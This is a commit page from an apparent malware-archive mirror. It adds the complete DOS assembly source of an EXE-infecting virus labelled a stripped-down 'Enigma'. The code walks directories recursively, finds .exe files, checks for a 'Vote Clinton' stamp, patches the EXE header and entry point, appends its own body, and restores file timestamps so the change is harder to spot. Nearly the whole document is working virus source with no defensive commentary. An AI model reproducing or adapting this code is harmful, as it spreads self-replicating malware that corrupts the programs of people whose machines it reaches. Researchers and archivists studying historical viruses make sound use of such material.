mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
re-organize
push
This commit is contained in:
vxunderground
@@ -0,0 +1,979 @@
|
||||
code segment
|
||||
assume cs:code
|
||||
|
||||
;A stripped down Enigma.
|
||||
|
||||
data_area struc ;Define a pattern for working data
|
||||
;area
|
||||
DS_save dw ?
|
||||
ES_save dw ?
|
||||
IP_save dw ?
|
||||
CS_save dw ?
|
||||
SS_save dw ?
|
||||
filematch db '*.exe',00h ;Names for files to infect
|
||||
matchall db '*.*',00h ;needed for the matching procedure
|
||||
infected dw 00h ;A very useful flag
|
||||
help_flag dw 00h ;These two flags are needed to
|
||||
where_from_flag dw 00h ;determine if virus is free running
|
||||
;or from an infected program
|
||||
;therefore it's very important
|
||||
;that where_from_flag value
|
||||
;is set to zero at assembly time
|
||||
handle dw ?
|
||||
ip_old dw ? ;old instruction pointer
|
||||
cs_old dw ? ;old value of code segment
|
||||
ss_old dw ?
|
||||
far_push dw ?
|
||||
save_push dw ?
|
||||
buffer1 db '\',63 dup (?)
|
||||
virus_stamp db 'Vote Clinton' ;Very hard to obtain in
|
||||
;a random way
|
||||
|
||||
question db 'Press any key to continue...$'
|
||||
buffer2 db 2b0h dup (?)
|
||||
new_area db 64 dup (?)
|
||||
new_data db 64 dup (?)
|
||||
pointer1 dw ?
|
||||
pointer2 dw ?
|
||||
pointer3 dw ?
|
||||
pointer4 dw ?
|
||||
pointer5 dw ?
|
||||
pointer6 dw ?
|
||||
pointer7 dw ?
|
||||
pointer8 dw ?
|
||||
|
||||
data_area ends
|
||||
|
||||
org 100h ;Defined for .com file as virus must
|
||||
;be able to run on itself
|
||||
start: call setup_data ;This is a near call therefore it's a
|
||||
;three byte instruction.It's purpose is
|
||||
;to catch correct data area address
|
||||
;even when virus is appended to the
|
||||
;infected .exe program
|
||||
adjust equ offset pgm_start ;Known offset value
|
||||
pgm_start label word ;
|
||||
|
||||
virussize equ 2793
|
||||
|
||||
work: mov ax,ds ;Save old DS
|
||||
push cs
|
||||
pop ds ;Update to needed DS value
|
||||
mov si,offset buffer.DS_save ;Put old DS in a quiet place
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov [si],ax
|
||||
|
||||
mov si,offset buffer.ES_save ;Save it because Get DTA side effects
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov ax,es
|
||||
mov [si],ax
|
||||
push cs ;Imperative because DI usage
|
||||
pop es
|
||||
|
||||
push bx ;It's imperative to always keep
|
||||
;this value unchanged
|
||||
mov ax,2f00h ;Get DTA function call
|
||||
int 21h
|
||||
|
||||
mov cx,bx ;save address found
|
||||
pop bx
|
||||
mov si,offset buffer.pointer1
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov [si],cx
|
||||
add si,2 ;Locate the segment immediately above
|
||||
mov ax,es
|
||||
mov [si],ax
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov di,offset buffer.buffer1 ;adjust for first search
|
||||
inc di ;Jump over the '\'
|
||||
sub di,adjust
|
||||
add di,bx
|
||||
mov dx,0000h
|
||||
push bx
|
||||
call search_exe
|
||||
pop bx
|
||||
mov si,offset buffer.where_from_flag
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
cmp word ptr [si],0000h
|
||||
jnz infected_run
|
||||
int 020H
|
||||
|
||||
infected_run:
|
||||
mov si,offset buffer.pointer1
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov dx,[si]
|
||||
push ds
|
||||
mov ax,[si+2]
|
||||
mov ds,ax
|
||||
push bx
|
||||
mov ax,1a00h
|
||||
int 21h
|
||||
pop bx
|
||||
pop ds ;Restore original DTA
|
||||
|
||||
mov si,offset buffer.ES_save
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov ax,[si]
|
||||
mov es,ax ;Restore ES
|
||||
|
||||
call ask_question
|
||||
|
||||
mov si,offset buffer.IP_save
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov ax,[si]
|
||||
mov dx,[si+2]
|
||||
mov si,offset buffer.far_push ;Restore original code
|
||||
sub si,adjust ;segment
|
||||
add si,bx
|
||||
mov cx,[si]
|
||||
push ax
|
||||
mov ax,cs
|
||||
sub ax,cx
|
||||
mov di,ax ;For stack
|
||||
add dx,ax
|
||||
pop ax
|
||||
|
||||
mov si,offset buffer.SS_save
|
||||
sub si,adjust ;Restore stack segment
|
||||
add si,bx
|
||||
mov cx,word ptr [si]
|
||||
add cx,di
|
||||
|
||||
push es
|
||||
pop ds
|
||||
|
||||
cli
|
||||
mov ss,cx
|
||||
sti
|
||||
|
||||
|
||||
push dx
|
||||
push ax
|
||||
ret far
|
||||
|
||||
|
||||
search_exe PROC
|
||||
|
||||
push si
|
||||
push dx
|
||||
call transfer_filespec ;transfer filename in another
|
||||
;working area
|
||||
call find_first ;try to find a first match
|
||||
jc not_here ;first match not found
|
||||
call try_to_infect ;if found try to infect
|
||||
;infected != 0 if success
|
||||
mov si,offset buffer.infected
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
test word ptr [si],0ffffh
|
||||
jz try_next
|
||||
jmp quiet_exit
|
||||
|
||||
try_next:
|
||||
call find_next ;If infection was not succesful
|
||||
;try once more
|
||||
jc not_here
|
||||
|
||||
call try_to_infect ;If match found try to infect
|
||||
mov si,offset buffer.infected ;again
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
test word ptr [si],0ffffh
|
||||
jz try_next
|
||||
|
||||
jmp quiet_exit ;quiet exit simply jumps
|
||||
;to a return instruction
|
||||
not_here:
|
||||
pop dx ;If first searches are
|
||||
push dx ;unsuccesful try a '*.*' match
|
||||
call search_all
|
||||
call find_first
|
||||
jnc attribute_test ;i.e. expect probably to
|
||||
;find a subdirectory
|
||||
quiet_exit:
|
||||
pop dx
|
||||
pop si
|
||||
ret
|
||||
|
||||
attribute_test:
|
||||
mov si,dx ;offset of DTA
|
||||
test byte ptr [si+015h],010h ;where attribute byte is to
|
||||
;be found.Try first with
|
||||
;subdirectory attribute
|
||||
jne dir_found ;subdirectory found
|
||||
more_tries:
|
||||
call find_next ;Since the search was initiated
|
||||
;with '*.*' if this is not a
|
||||
;directory try to found one
|
||||
jc quiet_exit ;No sense to search more
|
||||
|
||||
test byte ptr [si+015h],010h
|
||||
jz more_tries ;Search to the end
|
||||
dir_found:
|
||||
cmp byte ptr [si+01Eh],02Eh ;Compare with the subdirectory
|
||||
;mark '.'
|
||||
jz more_tries ;looking for files no
|
||||
;subdirectories
|
||||
|
||||
call dta_compute ;Valid entry, now set some DTA
|
||||
;and continue to search
|
||||
push ax
|
||||
mov ah,01Ah ;Set DTA function call
|
||||
int 021h
|
||||
pop ax
|
||||
push si
|
||||
mov si,offset buffer.infected
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
test word ptr [si],0ffffh
|
||||
pop si
|
||||
jnz quiet_exit
|
||||
|
||||
jmp more_tries
|
||||
|
||||
|
||||
search_exe ENDP
|
||||
|
||||
dta_compute PROC
|
||||
|
||||
push di ;Save some registers
|
||||
push si
|
||||
push ax
|
||||
push bx
|
||||
cld ;Up count for SI,DI pair
|
||||
mov si,dx ;DTA address to SI
|
||||
add si,01EH ;and add subdirectory
|
||||
;name offset
|
||||
|
||||
store_loop:
|
||||
lodsb
|
||||
stosb
|
||||
or al,al
|
||||
jne store_loop ;store loop
|
||||
|
||||
std
|
||||
stosb
|
||||
mov al,05Ch ;Put in place the path name
|
||||
;constructor
|
||||
|
||||
stosb
|
||||
add di,2 ;Adjust di for new searches
|
||||
call search_exe ;
|
||||
;a heavily recursion
|
||||
;
|
||||
pop bx ;some cleanup and exit
|
||||
;
|
||||
pop ax
|
||||
pop si
|
||||
pop di
|
||||
ret
|
||||
|
||||
dta_compute ENDP
|
||||
|
||||
try_to_infect PROC
|
||||
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
|
||||
push es
|
||||
push bx
|
||||
mov ax,2f00h ;Get DTA function call
|
||||
int 21h
|
||||
mov ax,bx
|
||||
pop bx
|
||||
mov si,offset buffer.pointer3
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov [si],ax ;Offset saved
|
||||
add si,2
|
||||
mov ax,es
|
||||
mov [si],ax
|
||||
pop es ;Segment located just above
|
||||
|
||||
mov dx,offset buffer.new_data
|
||||
sub dx,adjust
|
||||
add dx,bx
|
||||
push bx
|
||||
mov ax,1a00h
|
||||
int 21h ;Set DTA function call
|
||||
pop bx ;It's very important to
|
||||
;save BX in all calls
|
||||
|
||||
mov di,offset buffer.new_area
|
||||
mov si,offset buffer.buffer1
|
||||
sub di,adjust
|
||||
sub si,adjust
|
||||
add di,bx
|
||||
add si,bx
|
||||
|
||||
cld ;Move previously found path-
|
||||
;name or filename to new
|
||||
;data area
|
||||
move_path:
|
||||
lodsb
|
||||
stosb
|
||||
or al,al
|
||||
jnz move_path
|
||||
std ;adjust DI to recieve
|
||||
mov al,'\' ;filename.
|
||||
mov cx,0040h
|
||||
std ;Search backward
|
||||
repne scasb
|
||||
|
||||
mov si,offset buffer.pointer3
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov ax,[si]
|
||||
mov si,ax
|
||||
add di,2
|
||||
|
||||
o_kay:
|
||||
add si,001eh ;The beginning of the
|
||||
;filename...
|
||||
cld ;Now move name
|
||||
|
||||
move_fnm:
|
||||
lodsb
|
||||
stosb
|
||||
or al,al
|
||||
jnz move_fnm
|
||||
|
||||
push dx
|
||||
push bx
|
||||
mov dx,offset buffer.new_area
|
||||
sub dx,adjust
|
||||
add dx,bx
|
||||
mov ax,3d02h ;Open file with handle
|
||||
;for read/write
|
||||
int 21h
|
||||
pop bx
|
||||
pop dx
|
||||
jnc go_ahead ;In case file cannot be opened
|
||||
jmp error_exit
|
||||
|
||||
go_ahead:
|
||||
mov si,offset buffer.handle
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov [si],ax ;Save handle
|
||||
|
||||
push bx
|
||||
mov bx,ax ;Prepare for lseek
|
||||
push dx
|
||||
mov cx,0000h ;Look at the end of the file
|
||||
mov dx,0000h ;Offset of -12 from the end
|
||||
;of the file
|
||||
mov ax,4202h ;Lseek function call
|
||||
int 21h
|
||||
mov cx,dx
|
||||
pop dx
|
||||
pop bx
|
||||
jnc compute_length
|
||||
jmp close_error
|
||||
|
||||
compute_length:
|
||||
|
||||
sub ax,000ch
|
||||
sbb cx,0000h ;Exact position
|
||||
|
||||
|
||||
save_offset: ;
|
||||
mov si,offset buffer.pointer5
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov [si],ax
|
||||
add si,2
|
||||
mov [si],cx
|
||||
|
||||
push bx
|
||||
push dx
|
||||
mov si,offset buffer.handle
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov bx,[si]
|
||||
mov dx,ax
|
||||
mov ax,4200h ;From beginning of file
|
||||
int 21h ;Lseek function call
|
||||
pop dx
|
||||
pop bx
|
||||
jnc set_buffer
|
||||
jmp close_error
|
||||
|
||||
set_buffer:
|
||||
push bx
|
||||
push dx
|
||||
mov dx,offset buffer.new_data
|
||||
sub dx,adjust
|
||||
add dx,bx
|
||||
mov si,offset buffer.handle
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov bx,[si] ;Load handle
|
||||
mov cx,000ch
|
||||
mov ax,3f00h
|
||||
int 21h ;Read function call
|
||||
pop dx
|
||||
pop bx
|
||||
jnc read_ok
|
||||
jmp close_error
|
||||
|
||||
read_ok:
|
||||
mov si,offset buffer.virus_stamp
|
||||
mov di,offset buffer.new_data
|
||||
sub si,adjust
|
||||
sub di,adjust
|
||||
add si,bx
|
||||
add di,bx
|
||||
mov cx,12 ;Length of strings to
|
||||
;compare
|
||||
repe cmpsb
|
||||
pushf
|
||||
mov si,offset buffer.infected
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov word ptr [si],0000h
|
||||
popf
|
||||
jnz infect_it
|
||||
|
||||
close_error:
|
||||
mov si,offset buffer.handle
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
push bx
|
||||
mov bx,[si]
|
||||
mov ax,3e00h ;Close file function call
|
||||
int 21h
|
||||
pop bx
|
||||
jmp error_exit
|
||||
|
||||
infect_it:
|
||||
mov si,offset buffer.infected
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov word ptr [si],7777h
|
||||
|
||||
mov si,offset buffer.where_from_flag
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov ax,[si]
|
||||
sub si,2
|
||||
mov [si],ax ;This code effectively moves
|
||||
;where_from_flag into help_flag
|
||||
|
||||
add si,2
|
||||
mov [si],5a5ah ;Ready to infect
|
||||
push bx
|
||||
push dx
|
||||
mov si,offset buffer.handle
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov bx,[si]
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov ax,4200h ;From beginning of file
|
||||
int 21h ;Lseek function call
|
||||
pop dx
|
||||
pop bx
|
||||
jnc set_new_data
|
||||
jmp append_ok
|
||||
|
||||
set_new_data:
|
||||
push bx
|
||||
push dx
|
||||
mov dx,offset buffer.new_data
|
||||
sub dx,adjust
|
||||
add dx,bx
|
||||
mov si,offset buffer.handle
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov bx,[si] ;Load handle
|
||||
mov cx,001bh ;Read formatted exe header
|
||||
mov ax,3f00h
|
||||
int 21h ;Read function call
|
||||
pop dx
|
||||
pop bx
|
||||
jnc read_header
|
||||
jmp append_ok
|
||||
|
||||
read_header:
|
||||
nop ;some code to modify header
|
||||
;
|
||||
|
||||
mov si,offset buffer.pointer5
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov ax,[si]
|
||||
add si,2
|
||||
add ax,0ch
|
||||
adc word ptr [si],0000h
|
||||
sub si,2
|
||||
mov [si],ax ;This code restores original
|
||||
;filelength
|
||||
|
||||
mov si,offset buffer.new_data
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov ax,[si]
|
||||
cmp ax,5a4dh ;check for valid exe file
|
||||
jz valid_exe
|
||||
jmp append_ok
|
||||
|
||||
valid_exe:
|
||||
mov ax,[si+8] ;Load module size
|
||||
xor dx,dx
|
||||
shl ax,1
|
||||
rcl dx,1
|
||||
shl ax,1
|
||||
rcl dx,1
|
||||
shl ax,1
|
||||
rcl dx,1
|
||||
shl ax,1
|
||||
rcl dx,1 ;Multiply by 16
|
||||
|
||||
push ax
|
||||
push dx ;Adjust new size
|
||||
push cx
|
||||
mov dx,virussize-896+64
|
||||
push dx
|
||||
mov cx,0009h
|
||||
shr dx,cl
|
||||
add word ptr [si+4],dx
|
||||
pop dx
|
||||
and dx,01ffh
|
||||
add dx,word ptr [si+2]
|
||||
cmp dx,512
|
||||
jl adjust_okay
|
||||
sub dx,512
|
||||
inc word ptr [si+4]
|
||||
adjust_okay:
|
||||
mov word ptr [si+2],dx
|
||||
pop cx
|
||||
pop dx
|
||||
pop ax
|
||||
|
||||
|
||||
push si ;This SI is very useful so save it
|
||||
|
||||
mov si,offset buffer.pointer5
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
sub [si],ax
|
||||
mov ax,[si]
|
||||
sbb [si+2],dx
|
||||
mov dx,[si+2] ;the byte size of the load module
|
||||
|
||||
|
||||
pop si
|
||||
push ax
|
||||
push dx
|
||||
mov ax,[si+14h]
|
||||
mov dx,[si+16h] ;Get CS:IP value
|
||||
mov cx,[si+0eh] ;Get SS value
|
||||
push si
|
||||
mov si,offset buffer.IP_save
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
xchg [si],ax
|
||||
xchg [si+2],dx
|
||||
mov si,offset buffer.SS_save
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
xchg [si],cx
|
||||
mov si,offset buffer.ip_old
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov [si],ax
|
||||
mov [si+2],dx
|
||||
mov si,offset buffer.ss_old
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov [si],cx
|
||||
pop si
|
||||
pop dx
|
||||
pop ax
|
||||
|
||||
push ax
|
||||
push dx
|
||||
|
||||
shl ax,1
|
||||
rcl dx,1
|
||||
shl ax,1
|
||||
rcl dx,1
|
||||
shl ax,1
|
||||
rcl dx,1
|
||||
shl ax,1
|
||||
rcl dx,1 ;Multiply by 16
|
||||
|
||||
mov cx,0008h
|
||||
shl dx,cl
|
||||
mov cx,0004h
|
||||
shr ax,cl ;A very obscure algorithm to make
|
||||
;a segment:offset pair
|
||||
mov [si+14h],ax
|
||||
mov [si+16h],dx ;Infected values
|
||||
|
||||
push si
|
||||
mov si,offset buffer.far_push
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
xchg [si],dx
|
||||
mov word ptr [si+2],dx
|
||||
pop si
|
||||
|
||||
pop dx
|
||||
pop ax
|
||||
add ax,virussize ;
|
||||
adc dx,0000h
|
||||
|
||||
mov cx,0003h
|
||||
mul_loop:
|
||||
|
||||
shl ax,1
|
||||
rcl dx,1
|
||||
shl ax,1
|
||||
rcl dx,1
|
||||
shl ax,1
|
||||
rcl dx,1
|
||||
shl ax,1
|
||||
rcl dx,1 ;Multiply by 4096
|
||||
loop mul_loop
|
||||
|
||||
or ax,ax
|
||||
jz exact_value
|
||||
inc dx
|
||||
exact_value:
|
||||
mov [si+0eh],dx ;Infected stack segment
|
||||
|
||||
;Write back infected header
|
||||
push si
|
||||
push bx
|
||||
mov si,offset buffer.handle
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov bx,[si]
|
||||
mov ax,5700h ;Get time function
|
||||
int 21h
|
||||
pop bx
|
||||
pop si
|
||||
jnc correct_time
|
||||
jmp append_ok1
|
||||
|
||||
correct_time:
|
||||
push cx
|
||||
push bx
|
||||
push dx
|
||||
mov si,offset buffer.handle
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov bx,[si]
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov ax,4200h ;From beginning of file
|
||||
int 21h ;Lseek function call
|
||||
pop dx
|
||||
pop bx
|
||||
pop cx
|
||||
jnc continue_infection
|
||||
jmp append_ok1
|
||||
|
||||
continue_infection:
|
||||
|
||||
push cx
|
||||
push dx
|
||||
push bx
|
||||
mov dx,offset buffer.new_data
|
||||
sub dx,adjust
|
||||
add dx,bx
|
||||
mov si,offset buffer.handle
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov bx,[si] ;Load handle
|
||||
mov cx,001bh ;Write infected exe header
|
||||
mov ax,4000h
|
||||
int 21h ;Write function call
|
||||
pop bx
|
||||
pop dx
|
||||
pop cx
|
||||
jnc glue_virus
|
||||
jmp append_ok1
|
||||
|
||||
glue_virus:
|
||||
|
||||
push cx
|
||||
push bx
|
||||
push dx
|
||||
mov si,offset buffer.handle
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov bx,[si]
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov ax,4202h ;From the end of file
|
||||
int 21h ;Lseek function call
|
||||
pop dx
|
||||
pop bx
|
||||
pop cx
|
||||
jnc write_data
|
||||
jmp append_ok1
|
||||
|
||||
write_data:
|
||||
|
||||
mov si,offset buffer.handle
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
|
||||
push dx
|
||||
push cx
|
||||
|
||||
mov dx,bx
|
||||
sub dx,3 ;The starting three byte
|
||||
;call instruction
|
||||
push es
|
||||
push bx
|
||||
push dx
|
||||
push si
|
||||
mov ax,2f00h
|
||||
int 21h
|
||||
pop si
|
||||
pop dx
|
||||
|
||||
push es
|
||||
push bx
|
||||
|
||||
push si
|
||||
mov ax,1a00h
|
||||
int 21h
|
||||
pop si
|
||||
|
||||
|
||||
mov bx,[si] ;Load handle
|
||||
mov cx,virussize-896+64 ;Length of virus obtained
|
||||
mov ax,4000h ;with dir
|
||||
int 21h
|
||||
lahf ;Write function call
|
||||
|
||||
pop bx
|
||||
pop es
|
||||
|
||||
push ds
|
||||
push es
|
||||
pop ds
|
||||
mov dx,bx
|
||||
push ax
|
||||
mov ax,1a00h
|
||||
int 21h
|
||||
pop ax
|
||||
|
||||
pop ds
|
||||
pop bx
|
||||
pop es
|
||||
|
||||
pop cx
|
||||
pop dx
|
||||
|
||||
sahf
|
||||
jnc put_stamp ;Error or not file
|
||||
jmp append_ok1 ;is closed
|
||||
|
||||
put_stamp:
|
||||
push bx
|
||||
mov si,offset buffer.handle
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov bx,[si]
|
||||
mov ax,5701h ;Set time function
|
||||
int 21h
|
||||
pop bx
|
||||
|
||||
append_ok1:
|
||||
|
||||
mov si,offset buffer.ip_old ;Restore previous CS:IP values
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov ax,[si]
|
||||
mov dx,[si+2]
|
||||
mov si,offset buffer.IP_save
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov [si],ax
|
||||
mov [si+2],dx
|
||||
|
||||
mov si,offset buffer.save_push
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov ax,[si]
|
||||
mov word ptr [si-2],ax
|
||||
|
||||
mov si,offset buffer.ss_old
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov ax,[si]
|
||||
mov si,offset buffer.SS_save
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov word ptr [si],ax
|
||||
|
||||
|
||||
append_ok:
|
||||
mov si,offset buffer.help_flag
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov ax,[si]
|
||||
add si,2
|
||||
mov [si],ax ;This code effectively moves
|
||||
;help_flag into where_from_flag
|
||||
|
||||
|
||||
jmp close_error ;
|
||||
|
||||
error_exit:
|
||||
mov si,offset buffer.pointer3
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
mov dx,[si] ;Restore original DTA
|
||||
add si,2
|
||||
mov ax,[si]
|
||||
push ds
|
||||
mov ds,ax
|
||||
mov ax,1a00h ;Set DTA function call
|
||||
int 21h
|
||||
pop ds
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
ret
|
||||
|
||||
try_to_infect ENDP
|
||||
|
||||
transfer_filespec PROC
|
||||
|
||||
push si
|
||||
mov si,offset buffer.filematch ;Transfer name to the working
|
||||
;area
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
call byte_move
|
||||
pop si
|
||||
ret
|
||||
|
||||
transfer_filespec ENDP
|
||||
|
||||
search_all PROC
|
||||
|
||||
push si
|
||||
mov si,offset buffer.matchall ;This is the '*.*' filename
|
||||
sub si,adjust
|
||||
add si,bx
|
||||
call byte_move
|
||||
pop si
|
||||
ret
|
||||
|
||||
search_all ENDP
|
||||
|
||||
byte_move PROC
|
||||
|
||||
push ax
|
||||
push di
|
||||
|
||||
cld
|
||||
|
||||
move_loop:
|
||||
lodsb
|
||||
stosb
|
||||
or al,al ;The string to move is ASCIIZ
|
||||
jne move_loop
|
||||
pop di
|
||||
pop ax
|
||||
ret
|
||||
|
||||
byte_move ENDP
|
||||
|
||||
find_first PROC
|
||||
|
||||
push cx
|
||||
push bx
|
||||
cmp dx,0000h
|
||||
jnbe over_set
|
||||
mov dx,offset buffer.buffer2 ;Set Data Transfer Area
|
||||
sub dx,adjust ;or Disk Transfer area
|
||||
add dx,bx ;
|
||||
over_set:
|
||||
add dx,02Bh
|
||||
mov cx,00010h ;Attribute byte for
|
||||
;directory search
|
||||
mov ah,01ah
|
||||
int 021h ;Set DTA function call
|
||||
|
||||
pop bx
|
||||
push bx
|
||||
push dx
|
||||
mov dx,offset buffer.buffer1
|
||||
sub dx,adjust
|
||||
add dx,bx
|
||||
mov ah,04eh ;find first
|
||||
;function call
|
||||
int 021h
|
||||
pop dx
|
||||
pop bx
|
||||
pop cx
|
||||
ret
|
||||
|
||||
find_first ENDP
|
||||
|
||||
find_next PROC
|
||||
|
||||
push cx
|
||||
push bx
|
||||
push dx
|
||||
mov dx,offset buffer.buffer1
|
||||
sub dx,adjust
|
||||
add dx,bx
|
||||
mov cx,00010h
|
||||
mov ah,04fh ;Find next function call
|
||||
int 021h
|
||||
pop dx
|
||||
pop bx
|
||||
pop cx
|
||||
ret
|
||||
|
||||
find_next ENDP
|
||||
|
||||
ask_question PROC
|
||||
|
||||
mov dx,offset buffer.question
|
||||
mov ax,09
|
||||
int 21h
|
||||
xor ax,ax
|
||||
int 16h
|
||||
|
||||
ask_question ENDP
|
||||
|
||||
|
||||
setup_data:
|
||||
cli
|
||||
pop bx ;This will catch instruction pointer
|
||||
push bx
|
||||
sti ;value and after that restore stack
|
||||
ret ;pointer value
|
||||
|
||||
|
||||
buffer data_area <> ;Reseve data_area space
|
||||
|
||||
code ends
|
||||
END start
|
||||
Reference in New Issue
Block a user